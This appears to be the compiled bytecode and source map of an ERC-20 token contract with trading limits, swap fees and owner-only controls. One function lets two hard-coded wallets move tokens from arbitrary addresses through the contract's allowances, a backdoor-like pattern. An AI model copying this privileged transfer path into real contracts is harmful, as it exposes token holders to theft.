0x6080604052600436106101445760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b411461039b578063a8aa1b31146103c8578063a9059cbb146103e8578063c9567bf914610408578063dd62ed3e14610410578063f2fde38b1461045657600080fd5b806370a08231146102dd578063715018a614610313578063751039fc1461032857806378109e541461033d5780637d1db4a5146103535780638da5cb5b1461036957600080fd5b806323b872dd1161010857806323b872dd1461021b578063313ce5671461023b5780633f4218e01461025757806348ff2b8b1461028757806351bc3c85146102a757806353371be0146102bc57600080fd5b80630445b6671461015057806306fdde0314610179578063095ea7b3146101b45780630d1859f6146101e457806318160ddd1461020657600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610166600a5481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5060408051808201909152600981526822a3a3a9a1a7a120a960b91b60208201525b60405161017091906116a8565b3480156101c057600080fd5b506101d46101cf36600461170b565b610476565b6040519015158152602001610170565b3480156101f057600080fd5b506102046101ff366004611737565b61048d565b005b34801561021257600080fd5b5061016661053b565b34801561022757600080fd5b506101d4610236366004611788565b6105ac565b34801561024757600080fd5b5060405160128152602001610170565b34801561026357600080fd5b506101d46102723660046117c9565b60046020526000908152604090205460ff1681565b34801561029357600080fd5b506102046102a23660046117f4565b610616565b3480156102b357600080fd5b50610204610674565b3480156102c857600080fd5b506006546101d490600160a01b900460ff1681565b3480156102e957600080fd5b506101666102f83660046117c9565b6001600160a01b031660009081526002602052604090205490565b34801561031f57600080fd5b506102046106da565b34801561033457600080fd5b5061020461074e565b34801561034957600080fd5b5061016660175481565b34801561035f57600080fd5b5061016660165481565b34801561037557600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610170565b3480156103a757600080fd5b506040805180820190915260048152634547475360e01b60208201526101a7565b3480156103d457600080fd5b50600654610383906001600160a01b031681565b3480156103f457600080fd5b506101d461040336600461170b565b610785565b610204610792565b34801561041c57600080fd5b5061016661042b36600461182d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046257600080fd5b506102046104713660046117c9565b610979565b6000610483338484610a3f565b5060015b92915050565b6013546001600160a01b03163314806104b057506014546001600160a01b031633145b6104b957600080fd5b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303816000875af1158015610510573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610534919061185b565b5050505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926105a79290916105a19190610b63565b90610b63565b905090565b60006105b9848484610b6f565b61060b8433610606856040518060600160405280602881526020016119eb602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611086565b610a3f565b5060015b9392505050565b6000546001600160a01b031633146106495760405162461bcd60e51b815260040161064090611878565b60405180910390fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6013546001600160a01b031633148061069757506014546001600160a01b031633145b6106a057600080fd5b6106ab600a546110b2565b60405133904780156108fc02916000818181858888f193505050501580156106d7573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107045760405162461bcd60e51b815260040161064090611878565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107785760405162461bcd60e51b815260040161064090611878565b6001546016819055601755565b6000610483338484610b6f565b6000546001600160a01b031633146107bc5760405162461bcd60e51b815260040161064090611878565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083391906118a3565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610895573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b991906118a3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a91906118a3565b600680546001600160a01b0319166001600160a01b039290921691909117905530600090815260026020526040902054610964903461122e565b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146109a35760405162461bcd60e51b815260040161064090611878565b6001600160a01b0381166109e45760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610640565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610aa15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610640565b6001600160a01b038216610b025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610640565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061060f82846118d6565b6001600160a01b038316610bd35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610640565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610640565b6001600160a01b038316600090815260026020526040902054811115610cb75760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610640565b6001600160a01b03831660009081526004602052604090205460ff16158015610cf957506001600160a01b03821660009081526004602052604090205460ff16155b15610d4857600654600160a01b900460ff16610d485760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610640565b6001600160a01b03831660009081526004602052604090205460ff16158015610d8a57506001600160a01b03821660009081526004602052604090205460ff16155b8015610da457506006546001600160a01b03838116911614155b8015610dbb57506001600160a01b03821661dead14155b15610e34576017546001600160a01b038316600090815260026020526040902054610de690836112db565b1115610e345760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610640565b60165481111580610e5d57506001600160a01b03831660009081526004602052604090205460ff165b80610e8057506001600160a01b03821660009081526004602052604090205460ff165b610ec05760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610640565b6006546001600160a01b038481169116148015610ef557506001600160a01b03821660009081526004602052604090205460ff165b15610f0e576006805460ff60a81b1916600160a81b1790555b6006546001600160a01b038381169116148015610f4457506001600160a01b03831660009081526004602052604090205460ff16155b15610f8057601580546001600160a01b0319166001600160a01b0384161790556007805460019190600090610f7a9084906118e9565b90915550505b610f8a83836112e7565b15610fa057610f9a600a5461136f565b60006007555b6001600160a01b038316600090815260026020526040902054610fc39082610b63565b6001600160a01b038416600090815260026020526040812091909155610fe984846114f8565b610ff35781610ffe565b610ffe84848461153e565b6001600160a01b03841660009081526002602052604090205490915061102490826112db565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110789085815260200190565b60405180910390a350505050565b600081848411156110aa5760405162461bcd60e51b815260040161064091906116a8565b505050900390565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106110e7576110e76118fc565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611140573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116491906118a3565b81600181518110611177576111776118fc565b6001600160a01b0392831660209182029290920181019190915260155482166000908152600382526040808220308084529352902060001990556005546111bf921684610a3f565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f8908590600090869030904290600401611912565b600060405180830381600087803b15801561121257600080fd5b505af1158015611226573d6000803e3d6000fd5b505050505050565b6005546112469030906001600160a01b031684610a3f565b60055460155460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156112b6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105349190611983565b600061060f82846118e9565b60085460009060ff161580156113065750600654600160a81b900460ff165b801561131b5750600654600160a01b900460ff165b801561134057506001600160a01b03831660009081526004602052604090205460ff16155b801561135957506006546001600160a01b038381169116145b801561060f575050600954600754101592915050565b6008805460ff19166001908117909155600d54600c54600b546000936113af936002936113a99391926113a39283916112db565b906112db565b90611645565b905060006113d2826113cc600b548661164590919063ffffffff16565b90611651565b905060006113e08483610b63565b9050476113ec826110b2565b60006113f88247610b63565b9050600061141b611414600b5488610b6390919063ffffffff16565b8390611651565b90506000611434600b548361164590919063ffffffff16565b9050801561144657611446868261122e565b600c5460009061145b906113a9856002611645565b9050801561149f576014546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561149d573d6000803e3d6000fd5b505b4780156114e2576013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156114e0573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff1615801561060f5750506001600160a01b031660009081526004602052604090205460ff1615919050565b60008061154b858561165d565b111561163e57600061156e611560868661165d565b6012546113a9908690611651565b3060009081526002602052604090205490915061158b90826112db565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115dc9085815260200190565b60405180910390a36000600e541180156116005750600e546115fe868661165d565b115b1561162c5761162c3061dead611627600e546113a96012548961165190919063ffffffff16565b610b6f565b6116368382610b63565b91505061060f565b5092915050565b600061060f82846119b1565b600061060f82846119c8565b6006546000906001600160a01b039081169083160361167f5750601054610487565b6006546001600160a01b039081169084160361169e5750600f54610487565b5060115492915050565b600060208083528351808285015260005b818110156116d5578581018301518582016040015282016116b9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106d757600080fd5b6000806040838503121561171e57600080fd5b8235611729816116f6565b946020939093013593505050565b6000806000806080858703121561174d57600080fd5b8435611758816116f6565b93506020850135611768816116f6565b92506040850135611778816116f6565b9396929550929360600135925050565b60008060006060848603121561179d57600080fd5b83356117a8816116f6565b925060208401356117b8816116f6565b929592945050506040919091013590565b6000602082840312156117db57600080fd5b813561060f816116f6565b80151581146106d757600080fd5b6000806040838503121561180757600080fd5b8235611812816116f6565b91506020830135611822816117e6565b809150509250929050565b6000806040838503121561184057600080fd5b823561184b816116f6565b91506020830135611822816116f6565b60006020828403121561186d57600080fd5b815161060f816117e6565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b6000602082840312156118b557600080fd5b815161060f816116f6565b634e487b7160e01b600052601160045260246000fd5b81810381811115610487576104876118c0565b80820180821115610487576104876118c0565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119625784516001600160a01b03168352938301939183019160010161193d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561199857600080fd5b8351925060208401519150604084015190509250925092565b8082028115828204841417610487576104876118c0565b6000826119e557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a64529aced6a1e92721aecd87a492dea8b110da31e0e7267056ff584d1b68b364736f6c63430008110033

Deployed Bytecode Sourcemap

5180:9101:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5853:59;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5853:59:0;;;;;;;;7179:67;;;;;;;;;;-1:-1:-1;7239:5:0;;;;;;;;;;;;-1:-1:-1;;;7239:5:0;;;;7179:67;;;;;;;:::i;7903:133::-;;;;;;;;;;-1:-1:-1;7903:133:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;7903:133:0;1205:187:1;9043:246:0;;;;;;;;;;-1:-1:-1;9043:246:0;;;;;:::i;:::-;;:::i;:::-;;8042:132;;;;;;;;;;;;;:::i;13624:309::-;;;;;;;;;;-1:-1:-1;13624:309:0;;;;;:::i;:::-;;:::i;7329:67::-;;;;;;;;;;-1:-1:-1;7329:67:0;;5385:2;2603:36:1;;2591:2;2576:18;7329:67:0;2461:184:1;5586:44:0;;;;;;;;;;-1:-1:-1;5586:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7789:108;;;;;;;;;;-1:-1:-1;7789:108:0;;;;;:::i;:::-;;:::i;8802:233::-;;;;;;;;;;;;;:::i;5684:34::-;;;;;;;;;;-1:-1:-1;5684:34:0;;;;-1:-1:-1;;;5684:34:0;;;;;;7402:103;;;;;;;;;;-1:-1:-1;7402:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7485:18:0;7468:7;7485:18;;;:9;:18;;;;;;;7402:103;3966:148;;;;;;;;;;;;;:::i;8424:130::-;;;;;;;;;;;;;:::i;6632:59::-;;;;;;;;;;;;;;;;6569:56;;;;;;;;;;;;;;;;3769:79;;;;;;;;;;-1:-1:-1;3807:7:0;3834:6;-1:-1:-1;;;;;3834:6:0;3769:79;;;-1:-1:-1;;;;;3576:32:1;;;3558:51;;3546:2;3531:18;3769:79:0;3412:203:1;7252:71:0;;;;;;;;;;-1:-1:-1;7314:7:0;;;;;;;;;;;;-1:-1:-1;;;7314:7:0;;;;7252:71;;5658:19;;;;;;;;;;-1:-1:-1;5658:19:0;;;;-1:-1:-1;;;;;5658:19:0;;;7511:139;;;;;;;;;;-1:-1:-1;7511:139:0;;;;;:::i;:::-;;:::i;8182:234::-;;;:::i;7656:127::-;;;;;;;;;;-1:-1:-1;7656:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7754:18:0;;;7737:7;7754:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7656:127;4122:214;;;;;;;;;;-1:-1:-1;4122:214:0;;;;;:::i;:::-;;:::i;7903:133::-;7978:4;7985:37;7994:10;8006:7;8015:6;7985:8;:37::i;:::-;-1:-1:-1;8030:4:0;7903:133;;;;;:::o;9043:246::-;9166:20;;-1:-1:-1;;;;;9166:20:0;9152:10;:34;;:70;;-1:-1:-1;9204:18:0;;-1:-1:-1;;;;;9204:18:0;9190:10;:32;9152:70;9144:79;;;;;;9234:47;;-1:-1:-1;;;9234:47:0;;-1:-1:-1;;;;;4271:15:1;;;9234:47:0;;;4253:34:1;4323:15;;;4303:18;;;4296:43;4355:18;;;4348:34;;;9234:29:0;;;;;4188:18:1;;9234:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9043:246;;;;:::o;8042:132::-;7485:9;:18;;;;6320:42;8095:7;7485:18;;;;;8112:12;;8095:7;;8112:60;;7485:18;;8112:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8105:67;;8042:132;:::o;13624:309::-;13722:4;13739:36;13749:6;13757:9;13768:6;13739:9;:36::i;:::-;13786:117;13795:6;13803:10;13815:87;13851:6;13815:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13815:19:0;;;;;;:11;:19;;;;;;;;13835:10;13815:31;;;;;;;;;:87;:35;:87::i;:::-;13786:8;:117::i;:::-;-1:-1:-1;13921:4:0;13624:309;;;;;;:::o;7789:108::-;3896:6;;-1:-1:-1;;;;;3896:6:0;3906:10;3896:20;3888:50;;;;-1:-1:-1;;;3888:50:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;7863:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;7863:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7789:108::o;8802:233::-;8866:20;;-1:-1:-1;;;;;8866:20:0;8852:10;:34;;:70;;-1:-1:-1;8904:18:0;;-1:-1:-1;;;;;8904:18:0;8890:10;:32;8852:70;8844:79;;;;;;8934:31;8951:13;;8934:16;:31::i;:::-;8976:51;;8984:10;;9005:21;8976:51;;;;;;;;;9005:21;8984:10;8976:51;;;;;;;;;;;;;;;;;;;;;8802:233::o;3966:148::-;3896:6;;-1:-1:-1;;;;;3896:6:0;3906:10;3896:20;3888:50;;;;-1:-1:-1;;;3888:50:0;;;;;;;:::i;:::-;4073:1:::1;4057:6:::0;;4036:40:::1;::::0;-1:-1:-1;;;;;4057:6:0;;::::1;::::0;4036:40:::1;::::0;4073:1;;4036:40:::1;4104:1;4087:19:::0;;-1:-1:-1;;;;;;4087:19:0::1;::::0;;3966:148::o;8424:130::-;3896:6;;-1:-1:-1;;;;;3896:6:0;3906:10;3896:20;3888:50;;;;-1:-1:-1;;;3888:50:0;;;;;;;:::i;:::-;8493:12:::1;::::0;8478::::1;:27:::0;;;8516:15:::1;:30:::0;8424:130::o;7511:139::-;7589:4;7596:40;7606:10;7618:9;7629:6;7596:9;:40::i;8182:234::-;3896:6;;-1:-1:-1;;;;;3896:6:0;3906:10;3896:20;3888:50;;;;-1:-1:-1;;;3888:50:0;;;;;;;:::i;:::-;8258:6:::1;;;;;;;;;-1:-1:-1::0;;;;;8258:6:0::1;-1:-1:-1::0;;;;;8258:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8249:37:0::1;;8295:4;8302:6;;;;;;;;;-1:-1:-1::0;;;;;8302:6:0::1;-1:-1:-1::0;;;;;8302:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8249:67;::::0;-1:-1:-1;;;;;;8249:67:0::1;::::0;;;;;;-1:-1:-1;;;;;5475:15:1;;;8249:67:0::1;::::0;::::1;5457:34:1::0;5527:15;;5507:18;;;5500:43;5392:18;;8249:67:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8242:4;:74:::0;;-1:-1:-1;;;;;;8242:74:0::1;-1:-1:-1::0;;;;;8242:74:0;;;::::1;::::0;;;::::1;::::0;;8358:4:::1;-1:-1:-1::0;7485:18:0;;;:9;:18;;;;;;8327:49:::1;::::0;8366:9:::1;8327:12;:49::i;:::-;8387:14;:21:::0;;-1:-1:-1;;;;8387:21:0::1;-1:-1:-1::0;;;8387:21:0::1;::::0;;8182:234::o;4122:214::-;3896:6;;-1:-1:-1;;;;;3896:6:0;3906:10;3896:20;3888:50;;;;-1:-1:-1;;;3888:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4211:22:0;::::1;4203:43;;;::::0;-1:-1:-1;;;4203:43:0;;5756:2:1;4203:43:0::1;::::0;::::1;5738:21:1::0;5795:1;5775:18;;;5768:29;-1:-1:-1;;;5813:18:1;;;5806:38;5861:18;;4203:43:0::1;5554:331:1::0;4203:43:0::1;4283:6;::::0;;4262:38:::1;::::0;-1:-1:-1;;;;;4262:38:0;;::::1;::::0;4283:6;::::1;::::0;4262:38:::1;::::0;::::1;4311:6;:17:::0;;-1:-1:-1;;;;;;4311:17:0::1;-1:-1:-1::0;;;;;4311:17:0;;;::::1;::::0;;;::::1;::::0;;4122:214::o;13941:335::-;-1:-1:-1;;;;;14034:19:0;;14026:68;;;;-1:-1:-1;;;14026:68:0;;6092:2:1;14026:68:0;;;6074:21:1;6131:2;6111:18;;;6104:30;6170:34;6150:18;;;6143:62;-1:-1:-1;;;6221:18:1;;;6214:34;6265:19;;14026:68:0;5890:400:1;14026:68:0;-1:-1:-1;;;;;14113:21:0;;14105:68;;;;-1:-1:-1;;;14105:68:0;;6497:2:1;14105:68:0;;;6479:21:1;6536:2;6516:18;;;6509:30;6575:34;6555:18;;;6548:62;-1:-1:-1;;;6626:18:1;;;6619:32;6668:19;;14105:68:0;6295:398:1;14105:68:0;-1:-1:-1;;;;;14184:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14236:32;;160:25:1;;;14236:32:0;;133:18:1;14236:32:0;;;;;;;13941:335;;;:::o;1433:98::-;1491:7;1518:5;1522:1;1518;:5;:::i;12223:1393::-;-1:-1:-1;;;;;12320:20:0;;12312:70;;;;-1:-1:-1;;;12312:70:0;;7165:2:1;12312:70:0;;;7147:21:1;7204:2;7184:18;;;7177:30;7243:34;7223:18;;;7216:62;-1:-1:-1;;;7294:18:1;;;7287:35;7339:19;;12312:70:0;6963:401:1;12312:70:0;-1:-1:-1;;;;;12401:23:0;;12393:71;;;;-1:-1:-1;;;12393:71:0;;7571:2:1;12393:71:0;;;7553:21:1;7610:2;7590:18;;;7583:30;7649:34;7629:18;;;7622:62;-1:-1:-1;;;7700:18:1;;;7693:33;7743:19;;12393:71:0;7369:399:1;12393:71:0;-1:-1:-1;;;;;7485:18:0;;7468:7;7485:18;;;:9;:18;;;;;;12483:6;:27;;12475:88;;;;-1:-1:-1;;;12475:88:0;;7975:2:1;12475:88:0;;;7957:21:1;8014:2;7994:18;;;7987:30;8053:34;8033:18;;;8026:62;-1:-1:-1;;;8104:18:1;;;8097:47;8161:19;;12475:88:0;7773:413:1;12475:88:0;-1:-1:-1;;;;;12578:19:0;;;;;;:11;:19;;;;;;;;12577:20;:47;;;;-1:-1:-1;;;;;;12602:22:0;;;;;;:11;:22;;;;;;;;12601:23;12577:47;12574:95;;;12634:14;;-1:-1:-1;;;12634:14:0;;;;12626:41;;;;-1:-1:-1;;;12626:41:0;;8393:2:1;12626:41:0;;;8375:21:1;8432:2;8412:18;;;8405:30;-1:-1:-1;;;8451:18:1;;;8444:44;8505:18;;12626:41:0;8191:338:1;12626:41:0;-1:-1:-1;;;;;12683:19:0;;;;;;:11;:19;;;;;;;;12682:20;:47;;;;-1:-1:-1;;;;;;12707:22:0;;;;;;:11;:22;;;;;;;;12706:23;12682:47;:77;;;;-1:-1:-1;12754:4:0;;-1:-1:-1;;;;;12733:26:0;;;12754:4;;12733:26;;12682:77;:107;;;;-1:-1:-1;;;;;;12763:26:0;;6320:42;12763:26;;12682:107;12679:220;;;12847:15;;-1:-1:-1;;;;;12810:20:0;;;;;;:9;:20;;;;;;:32;;12835:6;12810:24;:32::i;:::-;12809:53;;12801:96;;;;-1:-1:-1;;;12801:96:0;;8736:2:1;12801:96:0;;;8718:21:1;8775:2;8755:18;;;8748:30;8814:32;8794:18;;;8787:60;8864:18;;12801:96:0;8534:354:1;12801:96:0;12927:12;;12917:6;:22;;:45;;;-1:-1:-1;;;;;;12943:19:0;;;;;;:11;:19;;;;;;;;12917:45;:71;;;-1:-1:-1;;;;;;12966:22:0;;;;;;:11;:22;;;;;;;;12917:71;12909:101;;;;-1:-1:-1;;;12909:101:0;;9095:2:1;12909:101:0;;;9077:21:1;9134:2;9114:18;;;9107:30;-1:-1:-1;;;9153:18:1;;;9146:47;9210:18;;12909:101:0;8893:341:1;12909:101:0;13035:4;;-1:-1:-1;;;;;13025:14:0;;;13035:4;;13025:14;:40;;;;-1:-1:-1;;;;;;13043:22:0;;;;;;:11;:22;;;;;;;;13025:40;13022:63;;;13067:11;:16;;-1:-1:-1;;;;13067:16:0;-1:-1:-1;;;13067:16:0;;;13022:63;13111:4;;-1:-1:-1;;;;;13098:17:0;;;13111:4;;13098:17;:41;;;;-1:-1:-1;;;;;;13120:19:0;;;;;;:11;:19;;;;;;;;13119:20;13098:41;13095:100;;;13141:18;:28;;-1:-1:-1;;;;;;13141:28:0;-1:-1:-1;;;;;13141:28:0;;;;;13170:9;:23;;-1:-1:-1;;13170:9:0;-1:-1:-1;;13170:23:0;;-1:-1:-1;;13170:23:0;:::i;:::-;;;;-1:-1:-1;;13095:100:0;13208:37;13227:6;13235:9;13208:18;:37::i;:::-;13205:97;;;13247:29;13262:13;;13247:14;:29::i;:::-;13298:1;13278:9;:22;13205:97;-1:-1:-1;;;;;13332:17:0;;;;;;:9;:17;;;;;;:29;;13354:6;13332:21;:29::i;:::-;-1:-1:-1;;;;;13312:17:0;;;;;;:9;:17;;;;;:49;;;;13397:32;13322:6;13419:9;13397:13;:32::i;:::-;:78;;13469:6;13397:78;;;13432:34;13440:6;13448:9;13459:6;13432:7;:34::i;:::-;-1:-1:-1;;;;;13509:20:0;;;;;;:9;:20;;;;;;13372:103;;-1:-1:-1;13509:40:0;;13372:103;13509:24;:40::i;:::-;-1:-1:-1;;;;;13486:20:0;;;;;;;:9;:20;;;;;;;:63;;;;13565:43;;;;;;;;;;13593:14;160:25:1;;148:2;133:18;;14:177;13565:43:0;;;;;;;;12301:1315;12223:1393;;;:::o;1857:240::-;1977:7;2038:12;2030:6;;;;2022:29;;;;-1:-1:-1;;;2022:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2073:5:0;;;1857:240::o;10719:503::-;10809:16;;;10823:1;10809:16;;;;;;;;10785:21;;10809:16;;;;;;;;;;-1:-1:-1;10809:16:0;10785:40;;10854:4;10836;10841:1;10836:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10836:23:0;;;:7;;;;;;;;;;:23;;;;10880:6;;:13;;;-1:-1:-1;;;10880:13:0;;;;:6;;;;;:11;;:13;;;;;10836:7;;10880:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10870:4;10875:1;10870:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10870:23:0;;;:7;;;;;;;;;;:23;;;;10916:18;;;;10960:1;10904:31;;;:11;:31;;;;;;10944:4;10904:46;;;;;;;-1:-1:-1;;10904:58:0;;11005:6;;10973:53;;11005:6;11014:11;10973:8;:53::i;:::-;11037:6;;:177;;-1:-1:-1;;;11037:177:0;;-1:-1:-1;;;;;11037:6:0;;;;:57;;:177;;11109:11;;11037:6;;11151:4;;11178;;11198:15;;11037:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10774:448;10719:503;:::o;10368:343::-;10481:6;;10449:53;;10466:4;;-1:-1:-1;;;;;10481:6:0;10490:11;10449:8;:53::i;:::-;10513:6;;10654:18;;10513:190;;-1:-1:-1;;;10513:190:0;;10576:4;10513:190;;;10959:34:1;11009:18;;;11002:34;;;10513:6:0;11052:18:1;;;11045:34;;;11095:18;;;11088:34;-1:-1:-1;;;;;10654:18:0;;;11138:19:1;;;11131:44;10687:15:0;11191:19:1;;;11184:35;10513:6:0;;;:22;;10543:9;;10893:19:1;;10513:190:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;1327:98::-;1385:7;1412:5;1416:1;1412;:5;:::i;8562:232::-;8673:8;;8648:4;;8673:8;;8672:9;:24;;;;-1:-1:-1;8685:11:0;;-1:-1:-1;;;8685:11:0;;;;8672:24;:42;;;;-1:-1:-1;8700:14:0;;-1:-1:-1;;;8700:14:0;;;;8672:42;:66;;;;-1:-1:-1;;;;;;8719:19:0;;;;;;:11;:19;;;;;;;;8718:20;8672:66;:87;;;;-1:-1:-1;8755:4:0;;-1:-1:-1;;;;;8742:17:0;;;8755:4;;8742:17;8672:87;:114;;;;-1:-1:-1;;8776:10:0;;8763:9;;:23;;;8562:232;-1:-1:-1;;8562:232:0:o;9297:1063::-;5941:8;:15;;-1:-1:-1;;5941:15:0;5952:4;5941:15;;;;;;9434:14:::1;::::0;9416:12:::1;::::0;9392::::1;::::0;5941:8;;9391:66:::1;::::0;9455:1:::1;::::0;9392:57:::1;::::0;9434:14;;9392:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;:57::-;9391:63:::0;::::1;:66::i;:::-;9368:89;;9468:32;9503:42;9532:12;9503:24;9514:12;;9503:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;9468:77:::0;-1:-1:-1;9556:14:0::1;9573:36;:6:::0;9468:77;9573:10:::1;:36::i;:::-;9556:53:::0;-1:-1:-1;9645:21:0::1;9677:24;9556:53:::0;9677:16:::1;:24::i;:::-;9712:20;9735:41;:14:::0;9754:21:::1;9735:18;:41::i;:::-;9712:64;;9787:19;9808:48;9825:30;9842:12;;9825;:16;;:30;;;;:::i;:::-;9808:12:::0;;:16:::1;:48::i;:::-;9787:69;;9867:29;9899;9915:12;;9899:11;:15;;:29;;;;:::i;:::-;9867:61:::0;-1:-1:-1;9942:34:0;;9939:103:::1;;9978:61;9991:24;10017:21;9978:12;:61::i;:::-;10098:12;::::0;10052:20:::1;::::0;10075:36:::1;::::0;:18:::1;:11:::0;10091:1:::1;10075:15;:18::i;:36::-;10052:59:::0;-1:-1:-1;10125:16:0;;10122:73:::1;;10151:18;::::0;10143:50:::1;::::0;-1:-1:-1;;;;;10151:18:0;;::::1;::::0;10143:50;::::1;;;::::0;10180:12;;10151:18:::1;10143:50:::0;10151:18;10143:50;10180:12;10151:18;10143:50;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10122:73;10231:21;10266:28:::0;;10263:90:::1;;10304:20;::::0;10296:55:::1;::::0;-1:-1:-1;;;;;10304:20:0;;::::1;::::0;10296:55;::::1;;;::::0;10335:15;;10304:20:::1;10296:55:::0;10304:20;10296:55;10335:15;10304:20;10296:55;::::1;;;;;